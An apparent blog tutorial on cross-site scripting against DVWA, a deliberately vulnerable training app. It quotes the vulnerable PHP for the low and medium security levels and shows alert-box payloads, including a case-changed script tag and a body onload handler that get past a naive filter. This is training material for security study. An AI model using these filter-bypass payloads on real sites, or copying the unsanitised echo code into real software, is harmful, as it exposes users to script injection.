Penetration Test

Cross-Site Scripting Demo

Given a scenario, exploit application-based vulnerabilities.

Test Environment: DVWA

Case 1 - Security Level: Low

image-20201027212506297

View the source code below.

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

image-20201027212828071

Test the following XSS scripts.

Eric <script>alert("XSS")</script>

image-20201027220143006

Case 2 - Security Level: Medium

image-20201027220432069

Let's test the following XSS scripts again.

Eric <script>alert("XSS")</script>

But it doesn't work this time.

image-20201027220712424

So let's view the source code.

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

image-20201027221002775

Then we try to modify the test XSS script.

Eric | <Script>alert("XSS")</Script>

It works again!

image-20201027221343245

Let use the HTML feature now.

Eric <body onload=alert("XSS")>

It also works!

image-20201027221712125

Quick Review
  • XSS can allow an attacker to run almost any script code
  • If successful, XSS attacks can compromise many client computers and devices
  • Compromise can include remote control, data exfiltration, and set up for further attacks.
相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
原文地址:https://www.cnblogs.com/keepmoving1113/p/13888037.html